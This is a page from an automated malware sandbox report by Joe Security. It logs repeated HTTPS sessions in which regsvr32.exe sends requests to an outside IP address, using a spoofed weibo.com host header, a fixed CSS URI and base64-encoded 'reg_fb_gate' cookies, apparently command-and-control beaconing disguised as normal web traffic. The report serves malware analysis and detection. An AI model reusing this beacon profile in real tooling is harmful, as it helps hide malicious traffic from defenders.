Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:17 UTC 1283 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:17 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:17 UTC 1283 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

108 192.168.2.6 49957 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:18 UTC 1284 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:18 UTC 1285 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:18 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:18 UTC 1285 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

109 192.168.2.6 49958 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:19 UTC 1287 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:19 UTC 1288 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:19 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:19 UTC 1288 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

11 192.168.2.6 49772 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:21 UTC 1041 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:22 UTC 1042 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:22 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:22 UTC 1043 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

110 192.168.2.6 49959 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:20 UTC 1289 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:20 UTC 1290 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:20 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:20 UTC 1290 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

111 192.168.2.6 49960 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:22 UTC 1292 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:22 UTC 1293 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:22 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:22 UTC 1293 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

112 192.168.2.6 49961 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:23 UTC 1294 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:23 UTC 1296 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:23 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:23 UTC 1296 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

113 192.168.2.6 49962 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:23 UTC 1295 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:24 UTC 1298 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:24 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:24 UTC 1298 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

114 192.168.2.6 49963 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:25 UTC 1299 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:25 UTC 1300 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:25 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

Copyright Joe Security LLC 2022 Page 70 of 191



2022-02-08 23:09:25 UTC 1300 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

115 192.168.2.6 49964 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:27 UTC 1302 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:27 UTC 1303 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:27 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:27 UTC 1303 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

116 192.168.2.6 49965 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

